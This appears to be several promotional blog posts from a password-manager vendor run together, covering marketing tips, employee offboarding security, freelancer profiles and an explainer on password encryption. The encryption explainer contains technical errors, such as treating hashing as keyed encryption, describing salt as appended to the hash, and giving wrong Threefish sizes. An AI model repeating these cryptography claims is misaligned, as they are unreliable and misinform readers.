There&rsquo;s no shortcut for cultivating great customer relationships through top service. Every interaction a customer has with your brand counts as &ldquo;service&rdquo; so be sure to consider how to support customers throughout their digital buyer experience. According to studies, <a href="https://123office.com/blog/millennial-statistics/" rel="follow noopener" target="_blank">about 75% of millennials</a> say they would pay more for a good customer experience. So take time to show these clients what makes you special when servicing them throughout their digital buyer journey.

Have customer service in place for digital marketing channels to answer questions, provide personalized recommendations and tackle service challenges that come up on your<a href="https://teampassword.com/blog/sharing-social-media-credentials-with-teammates" rel="follow noopener" target="_blank"> social media feeds</a>.
<h2>10. Don&rsquo;t be afraid of repurposing content</h2>
Having content to share on a daily basis can be exhausting for content creation teams. Don&rsquo;t forget to take stock of what content you&rsquo;ve already made. It&rsquo;s perfectly fine (and smart!) to repurpose content by resharing it or recycling it in a new way.&nbsp;

For example, a blog post that had good traffic in the past could be reimagined as an infographic, video, or podcast episode. Be efficient with your team&rsquo;s time by finding ways to re-engage customers with the same content. Luckily there are lots of tools out there that will help your team to make <a href="https://internettools.net/video-editing-tools/" rel="follow noopener" target="_blank">great-looking videos</a> and <a href="https://siteefy.com/ai-writers/" rel="follow noopener" target="_blank">generate quality content</a> with minimal effort.

<h2>11. Take advantage of automation</h2>
Finally, automation can be your closest ally as a digital marketer. Every year, there are more channels and metrics to handle. Wherever possible, find ways to automate processes, so you can free up time and focus your efforts. You might automate:

<ul>
<li style="font-weight: 400;" aria-level="1">Social media post scheduling</li>
<li style="font-weight: 400;" aria-level="1">Email cart abandonment workflows</li>
<li style="font-weight: 400;" aria-level="1">Chatbots for social and web support</li>
<li style="font-weight: 400;" aria-level="1">Push notifications for certain web actions (i.e. on the purchase page)</li>
</ul>

Through these automated steps, you can get rid of repetitive tasks, better allocate resources and ensure your teams are maximizing their time every day.&nbsp;

<h2>Bonus tip: Boost your digital marketing strategy with the right tools </h2>
<img src="https://cdn.buttercms.com/7Fb7bVI4SIabYVK29j4d" alt="undefined" width="500" height="500" />
Source: <a href="https://www.freepik.com/free-vector/team-goals-concept-illustration_12704338.htm#query=target&amp;position=13&amp;from_view=author" rel="follow noopener" target="_blank">Freepik</a>
Finally, without the right tools, your digital marketing strategy may be impossible to manage. For every aspect of your strategy, ensure that you have the tools and technologies to support your team. This goes for top digital marketing tools (such as Sprout Social, Audiense, Ahrefs, Hotjar, etc.) as well as <a href="https://teampassword.com/blog/9-best-tools-for-managing-freelancers" rel="follow noopener" target="_blank">collaboration and management tools</a> such as Notion, Trello, Podio, and <a href="https://teampassword.com/">TeamPassword</a>.

With the ideal suite of tools, you can empower your team and start incorporating these digital marketing tips in no time!

Digital marketing is a highly dynamic field that is taking off! Over 72% of marketing budgets go to digital. Find out how to stay ahead.

Digital marketing is a highly dynamic field where techniques and trends evolve quickly. And it's taking off! Over ...

Improve Your Company's Digital Marketing with These Awesome Techniques

Digital marketing is a highly dynamic field where techniques and trends evolve quickly. And it's taking off! Over 72% of marketing budgets go to digital content. These tips will help your team get ahead.

Do you have a formal offboarding process in place?
HR departments put a lot of time into their onboarding process as they should. Most include a warm welcome with a laid-out plan to get the new hire informed and up and running as soon as possible. But what about offboarding? What&rsquo;s the plan when an employee leaves?
Properly handing off company information when an employee leaves can be a significant challenge. Not just for HR but the entire team. Think about it. What if the employee leaving has accounts created with their email address? What if they had access to sensitive data? What if they control the Starbucks rewards card?&nbsp;
Joking aside, a recent study in 2019 conducted by OneLogin found that 50% of ex-employees still had access to company databases. Of those surveyed, 20% of businesses had experienced data breaches by former employees.
Don&rsquo;t stress! Your team can pull off a quick and effective transition without falling behind with proper planning and organization. Here are some recommended steps your team should take to make offboarding as safe and straightforward as possible.&nbsp;
<h2>Develop Data Protection Policies</h2>
Protecting company data shouldn&rsquo;t be a step you take after an employee submits their resignation letter. The first step in securing your data is to create a policy. Data protection policies should be in place for new hires and existing employees throughout their tenure.&nbsp;
Establish specific policies and procedures for employees who handle company data and clear penalties for those who do not abide by them. If you have a legal department, they should guide what the policy contains. If you don&rsquo;t, there are examples online that you can use, but be sure to read through them and make sure that the policy fits your business. Having set policies is more transparent and will protect your organization from the risks of data theft or loss when employees move on.
<h3>Have employees sign technology policies and keep them informed.</h3>
Once you have a policy, it&rsquo;s essential that all employees know the policy and, more importantly, abide by it. It may be worthwhile to create a "data security" training program for all employees at your company. Don&rsquo;t have the time or the resources to develop a program? Some companies will do it for you.
Technology policies shouldn&rsquo;t just be posted on the bulletin board; they should be read and signed. The act of signing gives the policy more importance and encourages employees to read through them more closely.
<h2>Limit Employee Access to Company Data</h2>
While employees need data and logins to accomplish their work, too much access poses data security risks. Not every employee needs unrestricted access to all of your business or client information. Instead, employees should only have access to the information necessary to do their jobs. Putting reasonable controls in place is critical to ensure that your organization&rsquo;s data remains protected.
A common way to implement access levels is with a password manager. With a password manager, you can make groups such as marketing, accounting, and sales, and you can easily share and revoke access as needed.&nbsp;
<h3>Use a password manager to track activity and change logins.</h3>
When an employee leaves, it will be essential to look out for significant download increases, strange access requests, and unusual file transfer loads. This is a common way to cause damage, and it can happen without you ever finding out if you aren&rsquo;t tracking it.&nbsp;
So how can you be sure that no one is using logins after they&rsquo;ve left or using data in strange amounts or weird times? You track it. One of the easiest ways is with a password manager. When you store all of your passwords with a password manager, an employee has to go through the password manager to log in, and when they do, it will show up on the activity log.
On top of this, when an employee leaves, it is best practice to change the passwords. A password manager will make it easy to update passwords with new solid unique passwords for each account they had access to.&nbsp;
<h3>Control user access in a central authenticated system.</h3>
It is essential to ensure employees are removed from everything, not just the big stuff. Damage can still be done with social media accounts or with other services like Photoshop, or customer service accounts like Intercom. Regaining control of accounts created by employees that have already left can be difficult. In worse cases, an employee can hold company accounts hostage. There have even been extreme cases where employees that still had access to the company's social media used them to tarnish the company's reputation.&nbsp;
A single sign-on system is one of the easiest ways to control access. When logins are controlled through one account like Google Workplace, it is far easier to give and revoke access with the click of a few buttons. No more trying to think of every login the employee had access to. Instead, you can remove them from everything all at once through the single sign-on system.&nbsp;
Set up accounts in a central location like Google SSO or Active Directory, and ensure all cloud applications are SAML authenticated. This makes it easier to manage and de-provision employee accounts.
<h2>Create and Use an Offboarding Checklist</h2>
You don&rsquo;t want to be scrambling every time an employee leaves. A standardized list is the simplest way to have your bases covered.&nbsp; These include simple things that may be obvious, but you don&rsquo;t want to push them off until the last possible second. These can include but are not limited to:
<ul>
<li style="font-weight: 400;" aria-level="1">Prepare necessary paperwork</li>
<li style="font-weight: 400;" aria-level="1">Conduct an exit interview</li>
<li style="font-weight: 400;" aria-level="1">Disable network access</li>
<li style="font-weight: 400;" aria-level="1">Recover company assets such as company credit cards, security badges, or keys&nbsp;</li>
</ul>
Making sure every possible security breach is on this list ensures all possible loose ends are tied up. Need ideas? There are plenty of examples online.
<h3>Disable all access.</h3>
Plug the holes. A 2021 survey by Beyond Identity found that 83% of employees admitted to maintaining continued access to accounts from a previous employer. What&rsquo;s more terrifying is that 56% of these employees did so with the specific intent of harming their former employer.
Here are a few steps to follow to ensure that every access point gets removed.&nbsp;
<ul>
<li style="font-weight: 400;" aria-level="1">If your logins are stored in a centralized location like Google SSO or active directory, immediately disable access and, after 30 days, delete it entirely.&nbsp;</li>
<li style="font-weight: 400;" aria-level="1">Change passwords, especially on shared accounts, to ensure they can&rsquo;t access them with remembered or written down passwords.</li>
<li style="font-weight: 400;" aria-level="1">Redirect that employee's communication to an appropriate individual.&nbsp;</li>
<li style="font-weight: 400;" aria-level="1">Disable all access to the company network.&nbsp;</li>
</ul>
<h3>Recover and wipe company assets.</h3>
Any company phones or laptops that the employee used should be returned and wiped of employee information. If anyone is allowed to work on personal devices, consider establishing a data recovery policy. If a remote wipe isn&rsquo;t possible, there should be a policy that requires the departing employee to provide their personal device for cleaning.
Along with devices any keys, ID badges, or security cards should be returned. You should also close out any corporate credit cards or expense accounts in that employee&rsquo;s name and process any fees or reimbursements.
<h2>Conduct an Exit Interview</h2>
One of the most important things you can do when an employee leaves your company is to understand why they&rsquo;ve chosen to go. Exit interviews can be an invaluable tool to gain insight into your organization The advantage of having these conversations is that departing employees are more likely to give honest feedback. The feedback will help you identify areas that can help improve staff retention and the work environment and highlight ways to improve as management. A final conversation also allows the employee to leave on a good note whether they are choosing to leave themselves or being let go by the company.&nbsp;
<h3>Remind departing employees of company policies.</h3>
This is also a great time to ensure they know what&rsquo;s going on from a security standpoint. Review the data security policies with the employee, reminding them of the types of data they are not allowed to take. Take an inventory of all files or projects that the employee was working on, and ensure that these materials have been returned. Collect their devices and wipe them of company data.
Employees have the right to resign and move on to new jobs. Sometimes they just might not be a great fit. Whatever the cause for departure, the reality is that employees come and go. Unfortunately, departing employees can take confidential corporate information with them, whether unknowingly or will ill-intent.&nbsp;
Depending on your business, there may be more specific measures you should implement to help protect your data but following this standard list of practices is a great place to start. Don&rsquo;t fall victim, be proactive and take the necessary steps to protect your company's data when your employees leave - the consequences can be severe if you don&rsquo;t.&nbsp;

Companies need a plan for employee departures to keep their data secure. Offboarding can be hard or it can be easy. These tips tell you how.

What’s the plan when an employee leaves? Properly handing off company information when an employee leaves can be ...

How to protect company info when an employee leaves

What’s the plan when an employee leaves? Properly handing off company information when an employee leaves can be a significant challenge. These tips help you navigate these departures.

How to protect company information when an employee leaves

Over the last decade, the gig economy boom has allowed professionals worldwide to switch to freelancing and build a network of international clients.&nbsp;
According to Upwork, 1 in 3 US workers engaged in freelance work during 2020. Some of the most successful freelancers earn hundreds of thousands of dollars per year through platforms like Upwork, Freelancer, and Toptal.
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
Does your company hire freelancers? How do you <a href="https://teampassword.com/blog/should-i-share-data-with-freelancers">share passwords with freelancers</a>? TeamPassword is an affordable password management solution for small businesses, startups, and agencies to share credentials securely with team members and freelancers. <a href="https://app.teampassword.com/dashboard#signup/testimonial">Sign up for a 14-day free trial</a> today.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
<h2>10 Successful Freelancers</h2>
Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in their given field with excellent track records&mdash;many have worked with the biggest companies in the world!
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>1. Scott Luscombe - Graphic Designer / Shopify Expert / Website Developer / Copywriter&nbsp; - Canada</h3>
Scott Luscombe is a freelance graphic designer, Shopify expert, website developer, and copywriter from Uxbridge, Canada. He holds a degree in Illustration from Sheridan College and a degree in Marketing from the University of Toronto.
Scott has been a freelancer for most of his professional career and has earned over $500k on Upwork. He has completed over 311 jobs and worked&nbsp;10,956 hours!&nbsp;
Scott's work includes graphic design and branding, illustration and icons, copywriting, website design and development, UX/UI, and printing and packaging. He also provides freelance coaching and consulting. Scott is a Top Rated Upwork Freelancer currently charging $99 per hour for various creative gigs.
Some of Scott's most notable work includes designs for Coca-Cola, the Canadian Cancer Society, Nickelodeon, and Wallet Ninja (to name a few).&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>2. Kathy Edens - Marketing Consultant / Freelance Copywriter - United States</h3>
<a href="https://www.upwork.com/freelancers/~016177d19f0624c1a7?viewMode=1">Kathy Edens is a Top Rated Upwork Freelancer</a> with over $300k platform earnings! Kathy has been self-employed as a marketing consultant and freelance copywriter for almost ten years from her home in Ohio, United States.
She holds a Bachelor of Science in Professional Writing and Psychology from Oregon State University, which she says "...helps me understand how to reach your target audience with words."&nbsp;
Kathy has ghost-written several non-fiction books on various topics, including social entrepreneurship, healthcare, real estate investing, and the cannabis industry, to name a few.
Kathy also writes web content, sales pages, email marketing content, case studies, white papers, brochures, press releases, and more. Kathy's rates start at $86 per hour for her writing and marketing services.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
<h3>3. Koen van Oeveren - UX designer - Netherlands</h3>
Koen van Oeveren is a freelance UI &amp; UX designer from North Brabant, Netherlands, with almost ten years of experience. Koen works with several design agencies in the Netherlands, designing apps, websites, and eCommerce experiences for many international brands.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
Koen holds a Bachelor of Applied Science in Communication and Multimedia Design from Avans University in the Netherlands. Koen's <a href="https://www.koenvo.com/index.html">portfolio website Koenvo</a> was nominated for a <a href="https://www.awwwards.com/sites/koenvo-ui-ux-portfolio">2021 awwwards. Award</a>.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
<h3>4. Pascal Strasche - Product / UX designer - Germany</h3>
Pascal Strasche is a product and UX designer with more than ten years of design experience from Germany. He holds a Master of Arts in Interaction Design and a Bachelor of Arts in Graphic Design, both from HAWK University of Applied Sciences and Arts.
For almost a year over 2020/2021, Pascal worked as the sole product designer to design Con Cubo's SaaS tool that helps complex organizations visualize and manage teams. He's also worked with German steel giant XOM Materials to find product solutions to digitalize&nbsp;Germany's steel industry.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
In 2019, Pascal founded Product Design Resources, a growing archive of 800+ design resources, weekly updated for the design community.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>5. Paul Hunkin - Developer - New Zealand</h3>
Paul Hunkin is a freelance software consultant and developer from Tauranga, New Zealand, but currently living in Portugal.&nbsp;
Paul has over ten years of experience as a software developer with an impressive work history, including Google, NASA, InfoSys, and the Chinese aerospace industry leader COMAC.
He's worked with several early-stage startups designing everything from high-performance big-data systems to complex web applications to 3D rendering engines. He's also built a lot of the foundational code for independent games on Android.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
Paul is a Top Rated Upwork Freelancer with over $400k in platform earnings. His rates start at $120 per hour for software development. <a href="https://paulh.consulting/">Check out Paul's website</a> for more about his impressive portfolio and work history.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>6. Jana Galat - Writer / Brand Strategist - Canada</h3>
Jana Galat is a freelance copywriter and brand strategist from Ontario, Canada. She holds a Bachelor's Degree in Management and Organizational Studies from King's University College and an Honors in Business Administration from Western University.
Jana has extensive experience writing landing pages, email campaigns, social media ads, and print materials and says, "I am obsessed with creating copy that sells..."
After several years of professional work experience, Jana went freelance in 2019 and has quickly built a reputation as a <a href="https://www.upwork.com/freelancers/~01bfa17a48301876dd">Top Rated Upwork Freelancer</a> with over $70k in platform earnings. Jana's rates start at $100 per hour for copywriting and brand consulting.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>7. Kate H. - Logo Designer / Branding Expert - United States</h3>
Kate is a freelance professional logo designer and branding expert from Maryland, United States. Kate&nbsp;ran her own green wedding brand which she sold to mywedding.com in 2014, allowing her to focus on helping small&nbsp;businesses figure out what they want (and who they are) and translate that into design.
She holds a Master's degree in Environmental Management from Yale School of The Environment, and a J.D. in environmental law from Pace Law School.&nbsp;
Kate's skillset includes redesigning and updating material to make it easier to understand, building a consistent brand from a simple starting point like a logo, and creating unique logos that guarantee results.
Kate is a Top Rated Upwork Freelancer, and her rates start at $225 per hour. You can find out more about Kate on her <a href="https://www.upwork.com/freelancers/~013ce73876c1c18126" rel="follow noopener" target="_blank">Upwork profile</a>.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>8. Marcos Rezende - UX designer - Canada</h3>
Marcos Rezende is a UX Designer from Ontario, Canada, with more than 13 years of experience. Marcos has worked in over 30 industry sectors for multinational organizations in the United States, Canada, Germany, and Brazil.&nbsp;
Some of Marcos' notable projects include apps for Ontario's COVID-19 dashboard, Urban Master Planning collaboration platform, and Reaction (kid's e-learning app), to name a few.&nbsp;
Marcos loves sharing his industry expertise with aspiring UX designers and regularly writes for the popular UX publication Career Foundry. Total recognizes Marcos as part of its "Top 3%" of global freelancer talent&mdash;a title given to elite freelancers in their given field.
We don't have access to Marcos' rates, but the best UX designers on Upwork earn upwards of $100 per hour. As a Toptal Top 3% freelancer, Marcos likely charges $200-$300 per hour.
<a href="https://www.marcosrezende.com/">Marcos Rezende's website</a> was nominated for the prestigious <a href="https://www.awwwards.com/sites/ux-portfolio-marcos-rezende">awwwards.</a> in 2021.
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<h3>9. Tanya Litvinova - UX/UI Designer - United States</h3>
Tanya Litvinova is a freelance UX/UI designer from New York City, United States. She holds a Bachelor of Fine Arts in Advertising Design / Communication Design from the Fashion Institute of Technology.
Tanya specializes in product, mobile, and web design as well as user experience flow, research, and validation.
"I have a passion to make the complex simple, shape behavior, design, plan, and strategize. Aiming for the best user experience, all the while balancing the needs of business and technology to create engaging, habit-forming digital products."
Tanya has worked with Fortune 100 &amp; Fortune 500 companies and successfully delivered business-transforming data-driven analytics, responsive BI dashboards, enterprise web apps, and management systems. Some of Tanya's notable clients include KOCH Industries, BlackRock Financial, BCG Group, and FireEye, to name a few.
<a href="https://www.upwork.com/freelancers/~0165035041b26e96df">Tanya is a Top Rated Upwork Freelancer</a> with more than $200k platform earnings. Her current rate starts at $162.50 per hour.
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<h3>10. Guangming Lang - Data Scientist - United States</h3>
Guangming Lang is a freelance data scientist from Michigan, United States. He holds a Bachelor of Arts in Mathematics from New College of Florida and a Master of Science in Biostatistics from the University of Michigan. Guangming has also completed several Coursera courses in data science and machine learning.
Guangming has been a freelancer since 2013 and has worked across several industries, including fintech, trading, medicine, biotech, advertising, and HR.&nbsp;
Guangming is a Top Rated Upwork Freelancer with over $400k in platform earnings. He's completed 216 jobs on Upwork totaling 3,805 hours! Guangming's current rates start at $200 per hour.
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<h2>Secure Freelancer Workflows With TeamPassword</h2>
No matter how talented or reputable the freelancers and contractors you hire, your company must use secure workflows to protect your digital assets.
Freelancers often need access to shared accounts and tools. Using a <a href="https://app.teampassword.com/dashboard#signup/testimonial">password manager</a> is the first step to securing these accounts and platforms. You can also use a password manager to share credentials with employees, clients, and other stakeholders to ensure you never expose raw passwords via email, spreadsheets, chat apps, and other non-secure methods.
<a href="https://app.teampassword.com/dashboard#signup/testimonial">TeamPassword</a> lets you create groups to share access with only those who need it. When they're done, revoke access with a single click. No need to change passwords every time someone leaves the team.
If you do need to change a password, TeamPassword's built-in <a href="https://teampassword.com/password-generator">password generator</a> lets you create secure passwords between 12-32 characters using numbers, letters (uppercase/lowercase), and symbols.
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Ready to onboard clients and freelancers securely with TeamPassword's robust <a href="https://app.teampassword.com/dashboard#signup/testimonial">password management solution</a>? <a href="https://app.teampassword.com/dashboard#signup/testimonial">Sign up for a free trial</a> to secure your company's digital assets today!

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Password encryption is essential to store user credentials stored in a database securely. Without password encryption, anyone accessing a user database on a company's servers (including hackers) could easily view any stored passwords.
Even a strong 32-character password created using a <a href="https://teampassword.com/password-generator">secure password generator</a> is useless without password-encryption! If someone can read your password on a server, they can use it simply by copy/pasting it&mdash;no matter how long or complicated the password might be!
Encryption scrambles your password before saving it on the server. So, if someone hacks the server, instead of finding password123, they find a random series of letters and numbers.
In this article, we're going to explore the world of password encryption, why <a href="https://teampassword.com/blog/tips-and-tricks-to-create-a-strong-password">strong passwords matter</a>, and how you can practice better password management!
<a href="https://app.teampassword.com/dashboard#signup/testimonial">TeamPassword</a> is the password management solution for small businesses! Create, store, and share login credentials safely with employees, contractors, and clients. <a href="https://app.teampassword.com/dashboard#signup/testimonial">Sign up for a 14-day free trial</a> today!
&rlm;&rlm;&lrm; &lrm;[Table of Contents]
<ul>
<li><a href="#understandingpasswordencryption" rel="follow">Understanding Password Encryption</a></li>
<li><a href="#howdoespasswordencryptionwork" rel="follow">How Does Password Encryption Work?</a></li>
<li><a href="#5commonpasswordencryptionmethods" rel="follow">5 Common Password Encryption Methods</a></li>
<li><a href="#whystrongpasswordsmatter" rel="follow">Why Strong Passwords Matter</a></li>
</ul>
<h2 id="understandingpasswordencryption">Understanding Password Encryption</h2>
To explain password encryption effectively, we must first grasp the language. Several terms might be unfamiliar, so here is a quick intro to password encryption terminology.
<ul>
<li style="font-weight: 400;" aria-level="1">Key: Used to lock and unlock passwords using a random string of bits. You get private and public keys that crypt and decrypt data differently, but we won't get too deep in the weeds with keys!</li>
<li style="font-weight: 400;" aria-level="1">Bits: A logical state with one of two possible values, including 1/0, true/false, yes/no, or on/off as typical examples.</li>
<li style="font-weight: 400;" aria-level="1">Block (block cipher): A deterministic algorithm operating on fixed-length groups of bits, called blocks.</li>
<li style="font-weight: 400;" aria-level="1">Hash function: The algorithm that uses the key to create password encryption and decryption. A hash function is essentially a piece of code that runs every time someone saves a password or logs into an application.&nbsp;</li>
<li style="font-weight: 400;" aria-level="1">Hash: A random series of numbers and letters representing your password. The hash function uses your hash instead of the raw password for authentication.</li>
<li style="font-weight: 400;" aria-level="1">Salt: Additional letters and numbers appended to the hash</li>
</ul>
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<h2 id="howdoespasswordencryptionwork">How Does Password Encryption Work?</h2>
When you save a new password, a hash function creates a hash version and saves that on the server.&nbsp;
Every time you log in using your password, the hash function recreates the hash to see if it matches what's stored. If the hashes match, the algorithm passes the authentication and logs you in.&nbsp;
For example:
<ul>
<li style="font-weight: 400;" aria-level="1">Original password: Pa$$w0rd123</li>
<li style="font-weight: 400;" aria-level="1">Hashed password: 6AF1CE202340​FE71BDB914AD5357​E33A6982A63B</li>
</ul>
While this might seem secure, simple hashed passwords aren't hack-proof.
The hash function only creates a unique hash for each password, not each user. So, if multiple users have the password, Pa$$w0rd123, the hash will be exactly the same.
To overcome this encryption vulnerability, engineers salt passwords so each hash is unique, even if the passwords are identical.
<h3>How Salt Works</h3>
A salt appends a unique value of 8 bytes (16 characters) to the password before the hash function creates a hash. This way, even identical passwords are unique before the hash function.
For example:
<ul>
<li style="font-weight: 400;" aria-level="1">Two identical passwords: Pa$$w0rd123</li>
<li style="font-weight: 400;" aria-level="1">Salt value one: E1F53135E559C253</li>
<li style="font-weight: 400;" aria-level="1">Salt value two: 84B03D034B409D4E</li>
<li style="font-weight: 400;" aria-level="1">Password one before hash: Pa$$w0rd123E1F53135E559C253</li>
<li style="font-weight: 400;" aria-level="1">Password two before hash: Pa$$w0rd12384B03D034B409D4E</li>
<li style="font-weight: 400;" aria-level="1">Password one hashed value (SHA256): 72AE25495A7981​C40622D49F9A52E4F15​65C90F048F59027BD9​C8C8900D5C3D8</li>
<li style="font-weight: 400;" aria-level="1">Password two hashed value (SHA256): B4B6603ABC670​967E99C7E7F1389E40​CD16E78AD38EB1468E​C2AA1E62B8BED3A</li>
</ul>
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<h2 id="5commonpasswordencryptionmethods">5 Common Password Encryption Methods</h2>
<h3>1. Data Encryption Standard (DES)</h3>
While applications no longer use Data Encryption Standard (DES), it's important to mention this password encryption method because of its history and influence on more secure modern standards.
IBM developed DES as a 56-bit encryption technology in the early 1970s. The NSA adopted and improved DES before it was approved worldwide as the encryption standard.
However, since the late 70s, hackers have been able to break DES encrypted passwords. In 1999, ethical hackers managed to break a DES key in under 24 hours.&nbsp;
To make DES more secure, engineers created Triple DES and later Advanced Encryption Standard (AES), which we still use today.
<h3>2. Triple DES</h3>
Triple DES uses three 56-bit keys (blocks) to create 168-bit encryption (some security experts argue that Triple DES is only 112 bits strong). Although Triple-DES is slowly being phased out, many financial institutions still use it to encrypt ATM PINs.
<h3>3. Advanced Encryption Standard (AES)</h3>
AES is the new encryption standard&mdash;trusted by the United States Government and many other prominent organizations globally. At 128 bits, AES is sufficiently secure, but most organizations prefer heavy-duty 256-bit encryption.
At <a href="https://teampassword.com/security">TeamPassword</a>, we use 256-bit encryption to store passwords, ensuring the highest levels of security for our clients. We're also a <a href="https://teampassword.com/security">secure hosting provider</a> holding multiple security accreditations.
Hackers can only break an AES encrypted password through a brute-force attack&mdash;trying password combinations to find the right one.
To counter brute-force attacks, applications will lock an account after a certain number of attempts or use tools like Google's reCAPTURE.
<h3>4. Blowfish</h3>
American cryptographer, Bruce Schneier, designed Blowfish in 1993 as an antidote to the weak DES encryption. Blowfish uses a 64-bit block and variable key length of 32 to 448 bits.
Although Blowfish is more robust than its DES predecessor, the 64-bit block is still vulnerable to attacks, most commonly birthday attacks&mdash;a cryptographic attack that exploits the mathematics behind the algorithm.
To solve Blowfish vulnerabilities, engineers created Twofish in 1998 (128-bit blocks with 256-bit keys) and Threefish in 2008 (256, 516, 1024-bit blocks with 256, 516, 1024-bit keys).
<h3>5. Rivest-Shamir-Adleman (RSA)</h3>
RSA is one of the oldest and widely used to transfer data securely. The encryption works with two keys, two large prime numbers, and an additional auxiliary value.
Due to the complicated encrypting and decrypting process, there is no known method for breaking RSA encryption.&nbsp;
Although widely used for transferring data, RSA is slow and not suitable for password encryption.
&rlm;&rlm;&lrm; &lrm;
<h2 id="whystrongpasswordsmatter">Why Strong Passwords Matter</h2>
Password encryption can only prevent criminals from viewing saved credentials stored on a server&mdash;but cannot prevent hackers from guessing weak/commonly used passwords. If you <a href="https://teampassword.com/blog/colonial-pipeline-ransomware-attack-dont-reuse-passwords">reuse the same password for multiple accounts</a>, this also puts you at risk!
Encryption is most effective when users create robust, unique passwords for every account. For example, a random 32-character password with letters, numbers, and special characters hashed and salted is near impossible to guess or decode, even using a computer!
In another scenario, let's assume you have a strong 32-character password, but you use it for every account. If hackers manage to steal that password, they have access to every account using the same credentials! Your strong password is effectively useless.
<h3>Improving Your Password Management</h3>
Now that you understand password encryption and the associated vulnerabilities, you can see why strong passwords are essential.
Effective password management is crucial to protect yourself against cyberattacks or in the highly likely event of a data breach where hackers steal your credentials.
Criminals are after the low-hanging fruit&mdash;people who use weak passwords!
5 tips for creating stronger passwords:
<ol>
<li style="font-weight: 400;" aria-level="1">Create strong passwords for every account. The easiest way to do this is using a password generator. <a href="https://teampassword.com/password-generator">TeamPassword has a free password generator</a> anyone can use to create passwords from 12-32 characters using uppercase, lowercase, numbers, and special characters. We recommend creating passwords as long as the application will allow.</li>
<li style="font-weight: 400;" aria-level="1">Never create passwords shorter than eight characters, with 12 being our recommended minimum.&nbsp;</li>
<li style="font-weight: 400;" aria-level="1">Never reuse the same password for multiple accounts.</li>
<li style="font-weight: 400;" aria-level="1">Never create passwords with your name, family member's names, or pet's names. With social media, this information is freely available. Criminals can add those names to algorithms for brute-force attacks.</li>
<li style="font-weight: 400;" aria-level="1">Don't store passwords in digital notepads or spreadsheets. We recommend using a <a href="https://app.teampassword.com/dashboard#signup/testimonial">password manager like TeamPassword</a> to create and store your credentials.</li>
</ol>
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<h2>Why You Need a Password Manager like TeamPassword</h2>
We have so many accounts these days; it's almost impossible to create unique, memorable, secure passwords for each one. A password manager solves this problem.
Instead of remembering the credentials for every account, you only need to memorize the one to log into your password manager.&nbsp;
TeamPassword keeps all of your credentials safely stored and encrypted, so you never have to memorize a password again. Instead of entering your credentials, you use one of TeamPassword's browser extensions (Chrome, Firefox, and Safari) to log into accounts.
<h3>Built for Teams</h3>
TeamPassword's best feature is its ability to share credentials with team members securely. Instead of sharing passwords, you provide access through TeamPassword.&nbsp;
Employees <a href="https://app.teampassword.com/dashboard#signup/testimonial">use TeamPassword</a> to log in, meaning you never share raw passwords&mdash;no more worrying about unauthorized access or sharing.
You can create groups in TeamPassword to share access with employees, clients, contractors, and freelancers. When someone no longer needs access, remove them from the group with a single click. No need to change passwords every time someone leaves a project!
<h3>Built-In Password Generator</h3>
TeamPassword features a built-in secure password manager so you can create robust passwords for every account. TeamPassword also ensures you never reuse the same credentials so that you won't fall victim to credential stuffing attacks!
With a built-in password generator, you can change passwords regularly, and TeamPassword will update the new credentials for all users!
<h3>Monitor Login Activity</h3>
TeamPassword's activity log keeps track of every action across all of your accounts&mdash;logins, password changes, new team members, sharing access, and more.
You can also set up email notifications for all TeamPassword actions so that you can react fast to any suspicious activity.
<h3>Get Your Free TeamPassword Trial</h3>
Password encryption is not enough to protect your business from password vulnerabilities! You need a robust password manager like TeamPassword to create, store, and share credentials securely.
&rlm;&rlm;&lrm; &lrm;
<a href="https://app.teampassword.com/dashboard#signup/testimonial">Sign up for a 14-day free trial</a> and let TeamPassword secure your company's digital assets.

Password encryption is the number one component of password security. TeamPassword encrypts passwords with state-of-the-art technology to keep passwords safe.

Password encryption is the number one component of password security. TeamPassword encrypts passwords with state-of-the-art technology to keep ...

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